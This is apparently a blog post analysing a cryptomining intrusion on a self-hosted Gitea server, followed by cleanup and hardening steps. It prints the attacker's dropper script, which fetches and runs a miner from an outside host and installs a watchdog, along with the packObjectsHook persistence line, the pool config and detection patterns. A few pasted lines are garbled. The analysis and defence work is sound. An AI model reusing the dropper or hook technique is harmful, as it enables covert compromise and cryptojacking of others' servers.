My Hugo CI/CD had been failing for a month. I assumed it was a runner bug. It was a Monero miner.

The symptom

The blog’s Gitea Actions workflow was failing at the git clone step with exit code 128:

rrffeeaammttooaattllee::::efwcaegurterlctlyh::-Epc(Oaa2Fcn3k'):tciolnpiveeannltid/rdeiatntudare/nxge-idptaeEcaRk/R.OosRuytsop_nuhtewarlitthe_so3f':16T2e1x2tbfyitleesbusy

Text file busy on a hidden file inside /data/gitea/. Not a runner bug.

The analysis

The files

Inside /data/gitea/home/ (the git user’s home directory inside the Gitea container):

----rrrrwwwwxx--rrrr----xx--rrrr----xx--p810.1._352fM6K0395....9swsscypy32s_swa_s_.h2hse_ehacalrltothnh__ss33.json←←←←←EsXLhMldFeRor6lico4lgkppswcfetaoiratnltcfeihicdgaolglysclriinpkted

file .sys_health_s3: ELF 64-bit LSB executable, x86-64, statically linked, stripped — 8.3 MB. Classic XMRig.

The config confirms it:

{
  "pools": [
    {"url": "gulf.moneroocean.stream:443",
     "user": "45ZSHJTQigW7gLTgpjCyCzCfENpNjFoWeE8vADaD3e3g9664KAqra3m4tbSJeNVtiF3zK4VgrA7caHxwgABX4T4H88gGC4b",
     "pass": "Gitea S2", "rig-id": "Gitea S2"}
  ]
}

Rig-id Gitea S2 — the attacker named the rig after the service. Likely other compromised machines following the same pattern (Gitea S1, S3…).

The persistence vector

The interesting part: the git user’s .gitconfig inside the container.

[uploadpack]
    packObjectsHook = sh /data/gitea/home/p0_f3959c2a.sh ;#router: completed POST /api/internal/manager/add-logger ...

packObjectsHook is a legitimate git hook called during git upload-pack — that is, on every git clone, git fetch, git pull served by the server. The attacker used it to re-execute the dropper on every git operation.

The fake comments mimicking Gitea router logs (#router: completed GET /bojemoi/blog/src/...) are camouflage: they make the .gitconfig entry difficult to spot in a diff or audit.

The dropper (p0_f3959c2a.sh)

D=; for x in /data/gitea /data/git /home/git /var/tmp /dev/shm /tmp; do
  touch $x/.s3w 2>/dev/null && D=$x && break
done
[ -n "$D" ] || D=/tmp
B=$D/.sys_health_s3
C=$D/.sys_health_s3.json

# Download the miner
(wget -qO $B https://sunnyeye.solarvest.my/health.bin || \
 curl -fsSL --max-time 60 -o $B https://sunnyeye.solarvest.my/health.bin)
(wget -qO $C https://sunnyeye.solarvest.my/p0_gitea_s2.json || \
 curl ...)

chmod +x $B
SZ=$(wc -c <$B 2>/dev/null || echo 0)

if [ "$SZ" -gt 1000000 ]; then
  pkill -f '[.]sys_health_s3' 2>/dev/null
  nohup $B --config=$C >/dev/null 2>&1 &
  # Install watchdog (cron or shell loop)
  W=$D/.wp_s2_cron
  printf '%s\n' '#!/bin/sh' \
    "pgrep -f '[.]sys_health_s3 --config' >/dev/null 2>&1 || nohup $B --config=$C >/dev/null 2>&1 &" > "$W"
  chmod +x "$W"
  # No crond on this system → fall back to while loop
  nohup sh -c "while sleep 180; do $W; done" >/dev/null 2>&1 &
fi

The script detects whether cron is available and installs persistence accordingly. Here, without crond, it deployed a while sleep 180 watchdog.

The wget failing to overwrite a binary that is already executing (OS lock on a loaded ELF) produces the Text file busy error — which ends up in the git upload-pack output stream and corrupts the git pack protocol on the client side.

Why the CI was failing

g→→→→→itw"sgegTtixceedtiltxetotrcntrl1erfi2iiie8→elnnsejtge:itbctout"sefuydapv"tleiaoronlawnt:dro-iseptttaaedhrceelk.rysrp(yaEsscOe_kFrh-"veoeab/rlj)te"hci→_tnssvp3aaslc(tikardOlebraijemneadcdetyxs-Hrpouaoncknki→nogup)t0p_uft3"959c2a.sh

The miner was sabotaging itself by trying to re-download on every clone.

Remediation

Immediate steps

# 1. Kill the processes
kill -9 $(ps aux | grep "while sleep 180" | grep -v grep | awk '{print $2}')
pkill -f sys_health_s3

# 2. Remove the files
rm -f /data/gitea/.sys_health_s3 .wp_s2_cron .sys_health_s3.json .s3w .wp_s2_wd.pid
rm -f /data/gitea/home/p0_f3959c2a.sh

# 3. Clean .gitconfig — remove all packObjectsHook entries
python3 -c "
lines = open('.gitconfig').readlines()
clean = [l for l in lines if 'packObjectsHook' not in l]
open('.gitconfig', 'w').writelines(clean)
"

# 4. Restart Gitea
docker restart gitea

Verification

# .gitconfig clean?
grep -c packObjectsHook /data/gitea/home/.gitconfig
# → 0

# git clone working?
docker run --rm --network gitea_gitea-internal alpine \
  sh -c "apk add git -q && git clone http://gitea:3000/bojemoi/blog.git /tmp/t && echo OK"
# → OK

Gitea upgrade

Version 1.25.3 (running for 9 months under the latest tag) likely had a vulnerability that allowed writing to .gitconfig. Upgraded to 1.27.3 and pinned the tag in docker-compose.yml:

services:
  gitea:
    image: gitea/gitea:1.27.3  # no more "latest"

What I should have done

  • Pin image versions from the start — latest hides available updates AND makes it impossible to know what’s actually running
  • Monitor hidden files in Docker volumes (cron job: find /data -name ".*" -newer /etc/passwd)
  • CPU alerts — a miner runs at constant high load. I have Prometheus/Grafana, I should have had a node_cpu_usage > 80% alert on the Lightsail instance

A failing CI isn’t always a code bug.

Hardening applied

1. Immutable .gitconfig

chattr +i /data/gitea/home/.gitconfig

chattr +i sets the immutable flag at the filesystem level (ext4/xfs). Even root cannot write to that file without removing the flag first — no process inside the container can modify it. This is the most direct protection against this specific vector.

lsattr /data/gitea/home/.gitconfig
# → ----i----------------- .gitconfig

echo "test" >> /data/gitea/home/.gitconfig
# → Operation not permitted

2. app.ini hardening

[security]
IMPORT_LOCAL_PATHS = false   ; block local repo imports (LFI vector)
DISABLE_GIT_HOOKS = true     ; Gitea won't execute server-side hooks

DISABLE_GIT_HOOKS prevents Gitea from running pre-receive, update and post-receive hooks in repositories — a distinct but related vector to packObjectsHook.

3. Outbound firewall — block mining pools

# Standard stratum ports
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 10001 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP

# Pool IPs found in this config
iptables -A OUTPUT -d 103.7.55.233 -j DROP   # gulf.moneroocean.stream
iptables -A OUTPUT -d 185.84.98.85 -j DROP   # pool.hashvault.pro
iptables -A OUTPUT -d 185.84.98.5  -j DROP

iptables-save > /etc/sysconfig/iptables

Even if a miner is dropped again, it can’t reach a pool. This also covers TLS on port 443 toward these specific IPs — the moneroocean.stream:443 pool used in this config is blocked.

4. Continuous monitoring — cron every 5 minutes

#!/bin/bash
# /usr/local/bin/gitea-watch.sh
GITEA_HOME="/home/docker/stacks/gitea/data/gitea"

# New hidden files created recently
find "$GITEA_HOME" -maxdepth 3 -name ".*" -type f -newer /tmp/.gitea-watch-last \
  | grep -v ".gitconfig$" | while read f; do
    echo "$(date -u) ALERT: new hidden file: $f" >> /var/log/gitea-security.log
done

# .gitconfig modified (should never change with chattr +i)
MTIME=$(stat -c %Y "$GITEA_HOME/home/.gitconfig")
[ "$MTIME" != "$(cat /tmp/.gitconfig-mtime 2>/dev/null)" ] && \
  echo "$(date -u) ALERT: .gitconfig modified!" >> /var/log/gitea-security.log

# Suspicious processes
for pat in sys_health wp_s2_cron xmrig; do
    pgrep -f "$pat" > /dev/null && \
      echo "$(date -u) ALERT: suspicious process: $pat" >> /var/log/gitea-security.log
done

# Connections to mining ports
ss -tnp | grep -E ":3333|:5555|:10001|:14444" | grep -v LISTEN && \
  echo "$(date -u) ALERT: mining connection detected" >> /var/log/gitea-security.log

touch /tmp/.gitea-watch-last

5. Runner registration token rotated

The runner registration token was hardcoded in plain text in docker-compose.yml. Replaced with a random value — the existing runner keeps its registration, but no new runner can be registered with the old token.


Summary (7 controls active):

ControlVector blocked
chattr +i .gitconfigpackObjectsHook injection
DISABLE_GIT_HOOKSServer-side repo hooks
IMPORT_LOCAL_PATHS = falseLFI via local import
Gitea 1.27.3Patched CVEs
iptables DROP mining ports/IPsPool connection impossible
Cron watch */5Fast re-infection detection
Runner token rotatedRogue runner registration

Gitea 1.27.3, XMRig removed, packObjectsHook cleaned, 7 controls active.